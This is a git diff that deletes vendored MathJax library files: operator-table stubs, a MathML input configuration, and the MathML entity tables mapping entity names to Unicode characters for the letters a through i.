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diff --git a/public/MathJax/jax/element/mml/optable/GreekAndCoptic.js b/public/MathJax/jax/element/mml/optable/GreekAndCoptic.js
deleted file mode 100644
index 5c9d9d5f..00000000
--- a/public/MathJax/jax/element/mml/optable/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
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- *  /MathJax/jax/element/mml/optable/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/Latin1Supplement.js b/public/MathJax/jax/element/mml/optable/Latin1Supplement.js
deleted file mode 100644
index 7d65b74e..00000000
--- a/public/MathJax/jax/element/mml/optable/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/element/mml/optable/LetterlikeSymbols.js b/public/MathJax/jax/element/mml/optable/LetterlikeSymbols.js
deleted file mode 100644
index c01dc8aa..00000000
--- a/public/MathJax/jax/element/mml/optable/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/element/mml/optable/MathOperators.js b/public/MathJax/jax/element/mml/optable/MathOperators.js
deleted file mode 100644
index 4cd76fe7..00000000
--- a/public/MathJax/jax/element/mml/optable/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/MiscMathSymbolsA.js b/public/MathJax/jax/element/mml/optable/MiscMathSymbolsA.js
deleted file mode 100644
index 47e4eea9..00000000
--- a/public/MathJax/jax/element/mml/optable/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/element/mml/optable/MiscMathSymbolsB.js b/public/MathJax/jax/element/mml/optable/MiscMathSymbolsB.js
deleted file mode 100644
index 39f6180d..00000000
--- a/public/MathJax/jax/element/mml/optable/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/MiscMathSymbolsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/MiscTechnical.js b/public/MathJax/jax/element/mml/optable/MiscTechnical.js
deleted file mode 100644
index 9f042b51..00000000
--- a/public/MathJax/jax/element/mml/optable/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
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- *  /MathJax/jax/element/mml/optable/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
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diff --git a/public/MathJax/jax/element/mml/optable/SpacingModLetters.js b/public/MathJax/jax/element/mml/optable/SpacingModLetters.js
deleted file mode 100644
index e1eea9b9..00000000
--- a/public/MathJax/jax/element/mml/optable/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
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- *  /MathJax/jax/element/mml/optable/SpacingModLetters.js
- *  
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- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
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diff --git a/public/MathJax/jax/element/mml/optable/SuppMathOperators.js b/public/MathJax/jax/element/mml/optable/SuppMathOperators.js
deleted file mode 100644
index ba0e5661..00000000
--- a/public/MathJax/jax/element/mml/optable/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/SupplementalArrowsB.js b/public/MathJax/jax/element/mml/optable/SupplementalArrowsB.js
deleted file mode 100644
index b7c7c0c8..00000000
--- a/public/MathJax/jax/element/mml/optable/SupplementalArrowsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/SupplementalArrowsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/input/MathML/config.js b/public/MathJax/jax/input/MathML/config.js
deleted file mode 100644
index 2a0227b3..00000000
--- a/public/MathJax/jax/input/MathML/config.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/config.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
diff --git a/public/MathJax/jax/input/MathML/entities/a.js b/public/MathJax/jax/input/MathML/entities/a.js
deleted file mode 100644
index d0f091bc..00000000
--- a/public/MathJax/jax/input/MathML/entities/a.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/a.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{AElig:"\u00C6",AMP:"\u0026",Aacute:"\u00C1",Abreve:"\u0102",Acirc:"\u00C2",Acy:"\u0410",Agrave:"\u00C0",Alpha:"\u0391",Amacr:"\u0100",And:"\u2A53",Aogon:"\u0104",Aring:"\u00C5",Assign:"\u2254",Atilde:"\u00C3",Auml:"\u00C4",aacute:"\u00E1",abreve:"\u0103",ac:"\u223E",acE:"\u223E\u0333",acd:"\u223F",acirc:"\u00E2",acy:"\u0430",aelig:"\u00E6",af:"\u2061",agrave:"\u00E0",alefsym:"\u2135",amacr:"\u0101",amp:"\u0026",andand:"\u2A55",andd:"\u2A5C",andslope:"\u2A58",andv:"\u2A5A",ange:"\u29A4",angle:"\u2220",angmsdaa:"\u29A8",angmsdab:"\u29A9",angmsdac:"\u29AA",angmsdad:"\u29AB",angmsdae:"\u29AC",angmsdaf:"\u29AD",angmsdag:"\u29AE",angmsdah:"\u29AF",angrt:"\u221F",angrtvb:"\u22BE",angrtvbd:"\u299D",angst:"\u00C5",angzarr:"\u237C",aogon:"\u0105",ap:"\u2248",apE:"\u2A70",apacir:"\u2A6F",apid:"\u224B",apos:"\u0027",approx:"\u2248",approxeq:"\u224A",aring:"\u00E5",ast:"\u002A",asymp:"\u2248",asympeq:"\u224D",atilde:"\u00E3",auml:"\u00E4",awconint:"\u2233",awint:"\u2A11"});MathJax.Ajax.loadComplete(a.entityDir+"/a.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/b.js b/public/MathJax/jax/input/MathML/entities/b.js
deleted file mode 100644
index edb67198..00000000
--- a/public/MathJax/jax/input/MathML/entities/b.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/b.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Barv:"\u2AE7",Barwed:"\u2306",Bcy:"\u0411",Bernoullis:"\u212C",Beta:"\u0392",Bumpeq:"\u224E",bNot:"\u2AED",backcong:"\u224C",backepsilon:"\u03F6",barvee:"\u22BD",barwed:"\u2305",barwedge:"\u2305",bbrk:"\u23B5",bbrktbrk:"\u23B6",bcong:"\u224C",bcy:"\u0431",bdquo:"\u201E",becaus:"\u2235",because:"\u2235",bemptyv:"\u29B0",bepsi:"\u03F6",bernou:"\u212C",bigcap:"\u22C2",bigcup:"\u22C3",bigvee:"\u22C1",bigwedge:"\u22C0",bkarow:"\u290D",blacksquare:"\u25AA",blacktriangleright:"\u25B8",blank:"\u2423",blk12:"\u2592",blk14:"\u2591",blk34:"\u2593",block:"\u2588",bne:"\u003D\u20E5",bnequiv:"\u2261\u20E5",bnot:"\u2310",bot:"\u22A5",bottom:"\u22A5",boxDL:"\u2557",boxDR:"\u2554",boxDl:"\u2556",boxDr:"\u2553",boxH:"\u2550",boxHD:"\u2566",boxHU:"\u2569",boxHd:"\u2564",boxHu:"\u2567",boxUL:"\u255D",boxUR:"\u255A",boxUl:"\u255C",boxUr:"\u2559",boxV:"\u2551",boxVH:"\u256C",boxVL:"\u2563",boxVR:"\u2560",boxVh:"\u256B",boxVl:"\u2562",boxVr:"\u255F",boxbox:"\u29C9",boxdL:"\u2555",boxdR:"\u2552",boxh:"\u2500",boxhD:"\u2565",boxhU:"\u2568",boxhd:"\u252C",boxhu:"\u2534",boxuL:"\u255B",boxuR:"\u2558",boxv:"\u2502",boxvH:"\u256A",boxvL:"\u2561",boxvR:"\u255E",boxvh:"\u253C",boxvl:"\u2524",boxvr:"\u251C",bprime:"\u2035",breve:"\u02D8",brvbar:"\u00A6",bsemi:"\u204F",bsim:"\u223D",bsime:"\u22CD",bsolb:"\u29C5",bsolhsub:"\u27C8",bullet:"\u2022",bump:"\u224E",bumpE:"\u2AAE",bumpe:"\u224F",bumpeq:"\u224F"});MathJax.Ajax.loadComplete(a.entityDir+"/b.js")})(MathJax.InputJax.MathML);
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diff --git a/public/MathJax/jax/input/MathML/entities/c.js b/public/MathJax/jax/input/MathML/entities/c.js
deleted file mode 100644
index e5db378f..00000000
--- a/public/MathJax/jax/input/MathML/entities/c.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/c.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{CHcy:"\u0427",COPY:"\u00A9",Cacute:"\u0106",CapitalDifferentialD:"\u2145",Cayleys:"\u212D",Ccaron:"\u010C",Ccedil:"\u00C7",Ccirc:"\u0108",Cconint:"\u2230",Cdot:"\u010A",Cedilla:"\u00B8",Chi:"\u03A7",ClockwiseContourIntegral:"\u2232",CloseCurlyDoubleQuote:"\u201D",CloseCurlyQuote:"\u2019",Colon:"\u2237",Colone:"\u2A74",Conint:"\u222F",CounterClockwiseContourIntegral:"\u2233",cacute:"\u0107",capand:"\u2A44",capbrcup:"\u2A49",capcap:"\u2A4B",capcup:"\u2A47",capdot:"\u2A40",caps:"\u2229\uFE00",caret:"\u2041",caron:"\u02C7",ccaps:"\u2A4D",ccaron:"\u010D",ccedil:"\u00E7",ccirc:"\u0109",ccups:"\u2A4C",ccupssm:"\u2A50",cdot:"\u010B",cedil:"\u00B8",cemptyv:"\u29B2",cent:"\u00A2",centerdot:"\u00B7",chcy:"\u0447",checkmark:"\u2713",cir:"\u25CB",cirE:"\u29C3",cire:"\u2257",cirfnint:"\u2A10",cirmid:"\u2AEF",cirscir:"\u29C2",clubsuit:"\u2663",colone:"\u2254",coloneq:"\u2254",comma:"\u002C",commat:"\u0040",compfn:"\u2218",complement:"\u2201",complexes:"\u2102",cong:"\u2245",congdot:"\u2A6D",conint:"\u222E",coprod:"\u2210",copy:"\u00A9",copysr:"\u2117",crarr:"\u21B5",cross:"\u2717",csub:"\u2ACF",csube:"\u2AD1",csup:"\u2AD0",csupe:"\u2AD2",cudarrl:"\u2938",cudarrr:"\u2935",cularrp:"\u293D",cupbrcap:"\u2A48",cupcap:"\u2A46",cupcup:"\u2A4A",cupdot:"\u228D",cupor:"\u2A45",cups:"\u222A\uFE00",curarrm:"\u293C",curlyeqprec:"\u22DE",curlyeqsucc:"\u22DF",curren:"\u00A4",curvearrowleft:"\u21B6",curvearrowright:"\u21B7",cuvee:"\u22CE",cuwed:"\u22CF",cwconint:"\u2232",cwint:"\u2231",cylcty:"\u232D"});MathJax.Ajax.loadComplete(a.entityDir+"/c.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/d.js b/public/MathJax/jax/input/MathML/entities/d.js
deleted file mode 100644
index 590b6491..00000000
--- a/public/MathJax/jax/input/MathML/entities/d.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/d.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{DD:"\u2145",DDotrahd:"\u2911",DJcy:"\u0402",DScy:"\u0405",DZcy:"\u040F",Darr:"\u21A1",Dashv:"\u2AE4",Dcaron:"\u010E",Dcy:"\u0414",DiacriticalAcute:"\u00B4",DiacriticalDot:"\u02D9",DiacriticalDoubleAcute:"\u02DD",DiacriticalGrave:"\u0060",DiacriticalTilde:"\u02DC",Dot:"\u00A8",DotDot:"\u20DC",DoubleContourIntegral:"\u222F",DoubleDownArrow:"\u21D3",DoubleLeftArrow:"\u21D0",DoubleLeftRightArrow:"\u21D4",DoubleLeftTee:"\u2AE4",DoubleLongLeftArrow:"\u27F8",DoubleLongLeftRightArrow:"\u27FA",DoubleLongRightArrow:"\u27F9",DoubleRightArrow:"\u21D2",DoubleUpArrow:"\u21D1",DoubleUpDownArrow:"\u21D5",DownArrowBar:"\u2913",DownArrowUpArrow:"\u21F5",DownBreve:"\u0311",DownLeftRightVector:"\u2950",DownLeftTeeVector:"\u295E",DownLeftVectorBar:"\u2956",DownRightTeeVector:"\u295F",DownRightVectorBar:"\u2957",DownTeeArrow:"\u21A7",Dstrok:"\u0110",dArr:"\u21D3",dHar:"\u2965",darr:"\u2193",dash:"\u2010",dashv:"\u22A3",dbkarow:"\u290F",dblac:"\u02DD",dcaron:"\u010F",dcy:"\u0434",dd:"\u2146",ddagger:"\u2021",ddotseq:"\u2A77",demptyv:"\u29B1",dfisht:"\u297F",dharl:"\u21C3",dharr:"\u21C2",diam:"\u22C4",diamond:"\u22C4",diamondsuit:"\u2666",diams:"\u2666",die:"\u00A8",disin:"\u22F2",divide:"\u00F7",divonx:"\u22C7",djcy:"\u0452",dlcorn:"\u231E",dlcrop:"\u230D",dollar:"\u0024",doteq:"\u2250",dotminus:"\u2238",doublebarwedge:"\u2306",downarrow:"\u2193",downdownarrows:"\u21CA",downharpoonleft:"\u21C3",downharpoonright:"\u21C2",drbkarow:"\u2910",drcorn:"\u231F",drcrop:"\u230C",dscy:"\u0455",dsol:"\u29F6",dstrok:"\u0111",dtri:"\u25BF",dtrif:"\u25BE",duarr:"\u21F5",duhar:"\u296F",dwangle:"\u29A6",dzcy:"\u045F",dzigrarr:"\u27FF"});MathJax.Ajax.loadComplete(a.entityDir+"/d.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/e.js b/public/MathJax/jax/input/MathML/entities/e.js
deleted file mode 100644
index 1ec4cfc5..00000000
--- a/public/MathJax/jax/input/MathML/entities/e.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/e.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{ENG:"\u014A",ETH:"\u00D0",Eacute:"\u00C9",Ecaron:"\u011A",Ecirc:"\u00CA",Ecy:"\u042D",Edot:"\u0116",Egrave:"\u00C8",Emacr:"\u0112",EmptySmallSquare:"\u25FB",EmptyVerySmallSquare:"\u25AB",Eogon:"\u0118",Epsilon:"\u0395",Equal:"\u2A75",Esim:"\u2A73",Eta:"\u0397",Euml:"\u00CB",eDDot:"\u2A77",eDot:"\u2251",eacute:"\u00E9",easter:"\u2A6E",ecaron:"\u011B",ecirc:"\u00EA",ecolon:"\u2255",ecy:"\u044D",edot:"\u0117",ee:"\u2147",eg:"\u2A9A",egrave:"\u00E8",egsdot:"\u2A98",el:"\u2A99",elinters:"\u23E7",elsdot:"\u2A97",emacr:"\u0113",emptyset:"\u2205",emptyv:"\u2205",emsp:"\u2003",emsp13:"\u2004",emsp14:"\u2005",eng:"\u014B",ensp:"\u2002",eogon:"\u0119",epar:"\u22D5",eparsl:"\u29E3",eplus:"\u2A71",epsilon:"\u03B5",eqcirc:"\u2256",eqcolon:"\u2255",eqsim:"\u2242",eqslantgtr:"\u2A96",eqslantless:"\u2A95",equals:"\u003D",equest:"\u225F",equiv:"\u2261",equivDD:"\u2A78",eqvparsl:"\u29E5",erarr:"\u2971",esdot:"\u2250",esim:"\u2242",euml:"\u00EB",euro:"\u20AC",excl:"\u0021",exist:"\u2203",expectation:"\u2130",exponentiale:"\u2147"});MathJax.Ajax.loadComplete(a.entityDir+"/e.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/f.js b/public/MathJax/jax/input/MathML/entities/f.js
deleted file mode 100644
index 211c8b96..00000000
--- a/public/MathJax/jax/input/MathML/entities/f.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/f.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Fcy:"\u0424",FilledSmallSquare:"\u25FC",Fouriertrf:"\u2131",fallingdotseq:"\u2252",fcy:"\u0444",female:"\u2640",ffilig:"\uFB03",fflig:"\uFB00",ffllig:"\uFB04",filig:"\uFB01",fjlig:"\u0066\u006A",fllig:"\uFB02",fltns:"\u25B1",fnof:"\u0192",forall:"\u2200",forkv:"\u2AD9",fpartint:"\u2A0D",frac12:"\u00BD",frac13:"\u2153",frac14:"\u00BC",frac15:"\u2155",frac16:"\u2159",frac18:"\u215B",frac23:"\u2154",frac25:"\u2156",frac34:"\u00BE",frac35:"\u2157",frac38:"\u215C",frac45:"\u2158",frac56:"\u215A",frac58:"\u215D",frac78:"\u215E",frasl:"\u2044"});MathJax.Ajax.loadComplete(a.entityDir+"/f.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/fr.js b/public/MathJax/jax/input/MathML/entities/fr.js
deleted file mode 100644
index 2fd687ab..00000000
--- a/public/MathJax/jax/input/MathML/entities/fr.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/fr.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Afr:"\uD835\uDD04",Bfr:"\uD835\uDD05",Cfr:"\u212D",Dfr:"\uD835\uDD07",Efr:"\uD835\uDD08",Ffr:"\uD835\uDD09",Gfr:"\uD835\uDD0A",Hfr:"\u210C",Ifr:"\u2111",Jfr:"\uD835\uDD0D",Kfr:"\uD835\uDD0E",Lfr:"\uD835\uDD0F",Mfr:"\uD835\uDD10",Nfr:"\uD835\uDD11",Ofr:"\uD835\uDD12",Pfr:"\uD835\uDD13",Qfr:"\uD835\uDD14",Rfr:"\u211C",Sfr:"\uD835\uDD16",Tfr:"\uD835\uDD17",Ufr:"\uD835\uDD18",Vfr:"\uD835\uDD19",Wfr:"\uD835\uDD1A",Xfr:"\uD835\uDD1B",Yfr:"\uD835\uDD1C",Zfr:"\u2128",afr:"\uD835\uDD1E",bfr:"\uD835\uDD1F",cfr:"\uD835\uDD20",dfr:"\uD835\uDD21",efr:"\uD835\uDD22",ffr:"\uD835\uDD23",gfr:"\uD835\uDD24",hfr:"\uD835\uDD25",ifr:"\uD835\uDD26",jfr:"\uD835\uDD27",kfr:"\uD835\uDD28",lfr:"\uD835\uDD29",mfr:"\uD835\uDD2A",nfr:"\uD835\uDD2B",ofr:"\uD835\uDD2C",pfr:"\uD835\uDD2D",qfr:"\uD835\uDD2E",rfr:"\uD835\uDD2F",sfr:"\uD835\uDD30",tfr:"\uD835\uDD31",ufr:"\uD835\uDD32",vfr:"\uD835\uDD33",wfr:"\uD835\uDD34",xfr:"\uD835\uDD35",yfr:"\uD835\uDD36",zfr:"\uD835\uDD37"});MathJax.Ajax.loadComplete(a.entityDir+"/fr.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/g.js b/public/MathJax/jax/input/MathML/entities/g.js
deleted file mode 100644
index 48be18a2..00000000
--- a/public/MathJax/jax/input/MathML/entities/g.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/g.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{GJcy:"\u0403",GT:"\u003E",Gammad:"\u03DC",Gbreve:"\u011E",Gcedil:"\u0122",Gcirc:"\u011C",Gcy:"\u0413",Gdot:"\u0120",GreaterGreater:"\u2AA2",Gt:"\u226B",gE:"\u2267",gacute:"\u01F5",gammad:"\u03DD",gbreve:"\u011F",gcirc:"\u011D",gcy:"\u0433",gdot:"\u0121",ge:"\u2265",gel:"\u22DB",geq:"\u2265",geqq:"\u2267",geqslant:"\u2A7E",ges:"\u2A7E",gescc:"\u2AA9",gesdot:"\u2A80",gesdoto:"\u2A82",gesdotol:"\u2A84",gesl:"\u22DB\uFE00",gesles:"\u2A94",gg:"\u226B",ggg:"\u22D9",gjcy:"\u0453",gl:"\u2277",glE:"\u2A92",gla:"\u2AA5",glj:"\u2AA4",gnapprox:"\u2A8A",gneq:"\u2A88",gneqq:"\u2269",grave:"\u0060",gsim:"\u2273",gsime:"\u2A8E",gsiml:"\u2A90",gtcc:"\u2AA7",gtcir:"\u2A7A",gtlPar:"\u2995",gtquest:"\u2A7C",gtrapprox:"\u2A86",gtrarr:"\u2978",gtrdot:"\u22D7",gtreqless:"\u22DB",gtreqqless:"\u2A8C",gtrless:"\u2277",gtrsim:"\u2273",gvertneqq:"\u2269\uFE00",gvnE:"\u2269\uFE00"});MathJax.Ajax.loadComplete(a.entityDir+"/g.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/h.js b/public/MathJax/jax/input/MathML/entities/h.js
deleted file mode 100644
index 608e4a2a..00000000
--- a/public/MathJax/jax/input/MathML/entities/h.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/h.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{HARDcy:"\u042A",Hcirc:"\u0124",HilbertSpace:"\u210B",HorizontalLine:"\u2500",Hstrok:"\u0126",hArr:"\u21D4",hairsp:"\u200A",half:"\u00BD",hamilt:"\u210B",hardcy:"\u044A",harr:"\u2194",harrcir:"\u2948",hcirc:"\u0125",hearts:"\u2665",heartsuit:"\u2665",hercon:"\u22B9",hksearow:"\u2925",hkswarow:"\u2926",hoarr:"\u21FF",homtht:"\u223B",horbar:"\u2015",hslash:"\u210F",hstrok:"\u0127",hybull:"\u2043",hyphen:"\u2010"});MathJax.Ajax.loadComplete(a.entityDir+"/h.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/i.js b/public/MathJax/jax/input/MathML/entities/i.js
deleted file mode 100644
index 6b4e1c67..00000000
--- a/public/MathJax/jax/input/MathML/entities/i.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/i.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{IEcy:"\u0415",IJlig:"\u0132",IOcy:"\u0401",Iacute:"\u00CD",Icirc:"\u00CE",Icy:"\u0418",Idot:"\u0130",Igrave:"\u00CC",Imacr:"\u012A",Implies:"\u21D2",Int:"\u222C",Iogon:"\u012E",Iota:"\u0399",Itilde:"\u0128",Iukcy:"\u0406",Iuml:"\u00CF",iacute:"\u00ED",ic:"\u2063",icirc:"\u00EE",icy:"\u0438",iecy:"\u0435",iexcl:"\u00A1",iff:"\u21D4",igrave:"\u00EC",ii:"\u2148",iiiint:"\u2A0C",iiint:"\u222D",iinfin:"\u29DC",iiota:"\u2129",ijlig:"\u0133",imacr:"\u012B",image:"\u2111",imagline:"\u2110",imagpart:"\u2111",imof:"\u22B7",imped:"\u01B5","in":"\u2208",incare:"\u2105",infintie:"\u29DD",inodot:"\u0131","int":"\u222B",integers:"\u2124",intercal:"\u22BA",intlarhk:"\u2A17",intprod:"\u2A3C",iocy:"\u0451",iogon:"\u012F",iprod:"\u2A3C",iquest:"\u00BF",isin:"\u2208",isinE:"\u22F9",isindot:"\u22F5",isins:"\u22F4",isinsv:"\u22F3",isinv:"\u2208",it:"\u2062",itilde:"\u0129",iukcy:"\u0456",iuml:"\u00EF"});MathJax.Ajax.loadComplete(a.entityDir+"/i.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/j.js b/public/MathJax/jax/input/MathML/entities/j.js
deleted file mode 100644
index b66dac04..00000000
--- a/public/MathJax/jax/input/MathML/entities/j.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/j.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
